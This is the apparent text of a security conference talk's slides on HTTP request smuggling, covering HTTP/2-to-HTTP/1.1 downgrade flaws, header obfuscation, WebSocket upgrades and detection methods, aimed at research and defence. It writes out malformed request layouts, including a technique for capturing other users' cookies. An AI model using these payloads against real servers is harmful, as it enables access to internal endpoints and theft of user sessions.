This document summarizes HTTP request smuggling vulnerabilities. It explains how an attacker can craft a single HTTP request that is parsed differently by the frontend and backend servers, allowing the backend to interpret additional hidden requests. Several exploitation techniques and detection methods are described, including issues that can arise with HTTP/1, HTTP/2, and protocols like WebSockets. Automated testing tools have been developed but further research is still needed to fully understand and prevent these attacks.
HTTP/1.1 body transfer Content-Lengthheader Content-Length: 100 Here goes 100 bytes of the request body. Transfer-Encoding: chunked ff 10 0 Here goes 255-byte chunk Another chunk Chunked encoding
HTTP Request Smuggling Old& known attack Gained a lot of attention after James Kettle's talk on BH USA 2019 He discovered a lot of new techniques
9.
HTTP Request Smuggling Anattacker sends a malicious request It is parsed as a single request by the frontend and is forwarded to the backend Backend parses it as two separate requests
10.
POST / HTTP/1.1 Content-Length:100 0 Transfer-Encoding : chunked GET /internal HTTP/1.1 ... Frontend interprets this Backend interprets this Frontend thinks it's body Backend thinks it's another request HTTP Request Smuggling
11.
HTTP Request Smuggling It'sall about Content-Length / Transfer-Encoding Transfer-Encoding has precedence We need to "smuggle" Transfer-Encoding to backend unprocessed by the frontend
12.
HTTP Request Smuggling POST/ HTTP/1.1 Content-Length: 100 Transfer-Encoding: identity, 0 chunked GET /internal HTTP/1.1 ... Frontend interprets this Backend interprets this Frontend thinks it's body Backend thinks it's another request
Exploitation: stealing requests Attacker→Frontend Victim→Frontend GET/ HTTP/1.1 ... POST /save HTTP/1.1 Transfer-Encoding : chunked GET / HTTP/1.1 Cookie: secret GET / HTTP/1.1 Transfer-Encoding : chunked ... POST /save HTTP/1.1 data=GET / HTTP/1.1 Cookie: secret Frontend→Backend
15.
Exploitation: stealing requests Thevictim's request is appended to ours Most frameworks are OK with newlines in forms Victim's cookies are saved to our profile, PMs or other places where we can view them later
HTTP/2 body transfer Requestbody is transferred in binary frames Content-Length not required, but allowed Transfer-Encoding: chunked has no effect
19.
Potential bug #1: content-lengthconflicts actual length Client→Frontend :method POST :authority host.com XGET /internal HTTP/1.1 ... content-length: 1 POST / HTTP/1.1 Host: host.com Content-Length: 1 XGET /internal HTTP/1.1 ... Frontend→Backend body
20.
Potential bug #2: nocontent-length forwarding Client→Frontend :method :authority host.com GET /internal HTTP/1.1 GET GET / HTTP/1.1 Host: host.com GET /internal HTTP/1.1 Frontend→Backend body
21.
Potential bug #3: content-lengthconflicting transfer-encoding Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding: chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer-Encoding: chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body
22.
HTTP/2 header validation Headersnames and values are binary strings Names and values can contain newlines Names can contain colons
23.
Potential bug #4: newlinesin headers Client→Frontend :method GET :authority host.com x: ... ⏎⏎GET /internal HTTP/1.1 GET / HTTP/1.1 Host: host.com X: GET /internal HTTP/1.1 ... Frontend→Backend
24.
Potential bug(s) #5: lessstrict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding : chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 transfer-encoding : chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body
25.
Potential bug(s) #5: lessstrict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer_encoding: chunked POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer_Encoding: chunked 0 GET /internal HTTP/1.1 ... Frontend→Backend body
26.
Potential bug(s) #5: lessstrict validation Client→Frontend :method POST :authority host.com content-length: 100 0 GET /internal HTTP/1.1 ... transfer-encoding: chunKed POST / HTTP/1.1 Host: host.com Content-Length: 100 Transfer-Encoding: chunKed 0 GET /internal HTTP/1.1 ... Frontend→Backend body
27.
What does theRFC say? RFC 7540 mentions Intermediary Encapsulation Attacks in 10.3 Basically says "implementation must reject things it can't handle" :) Explicitly mentions newlines and x00
28.
Detection idea #1: makebackend expect more data Craft a request such that Backend expects more data Frontend thinks it sent the whole request The request will hang Implemented in James Kettle's Burp plugin (for HTTP/1.1)
29.
Detection idea #1: makebackend expect more data :method POST content-length: 5 h:⏎transfer-encoding:chunked fff Frontend interprets this Backend interprets this Frontend thinks body is finished Backend expects more data and hangs
30.
Chunked encoding shouldnever be parsed in HTTP/2 If the response depends on the chunked encoding validness, it is a possible vulnerability There're some false positives Detection idea #2: chunked body parsing
31.
Detection idea #2: chunkedbody parsing :status 400 :method POST invalid chunked body transfer-encoding : chunked HTTP/1.1 400 POST / HTTP/1.1 transfer-encoding : chunked invalid chunked body Frontend Backend Client
32.
Detection idea #3: content-lengthparsing Send something like x:x⏎content-length:1000 If the response depends on the value, it's a possible vulnerability Even more false positives :(
Potential bug #6: RFC8441 Designed for WebSockets over HTTP/2 A client sends CONNECT method and sets the :protocol special header Intermediary translates it to Upgrade
36.
Haproxy & nghttp2flaws Client→Frontend :method :authority host.com GET /internal HTTP/1.1 ... CONNECT :protocol websocket GET / HTTP/1.1 Host: host.com Connection: upgrade Upgrade: websocket GET /internal HTTP/1.1 ... Frontend→Backend body
37.
Open problem: one-way sizediscrepancy Attacks work if the backend reads less data than the frontend Detection methods work if the backend expects more data What if the first is achievable, but the second is not possible?
38.
Client→Frontend Frontend→Backend H2O http3(QUIC) flaw :method POST content-length: 100 0 GET /internal HTTP/1.1 ... x:x⏎transfer-encoding:chunked POST / HTTP/1.1 Content-length: 100 X: x Transfer-Encoding: chunked 0 GET /internal HTTP/1.1 ... body
39.
Automation I've implemented http2smugltool It performs automatic vulnerability detection using the discussed methods Also it supports sending "invalid" queries via custom HTTP/2 implementation
40.
Further research needed HTTP/1special headers, writing to closed streams, HPACK and >40 implementations not researched Stable detection methods wanted Putting space + path into :method can lead to hitting internal endpoints and Host override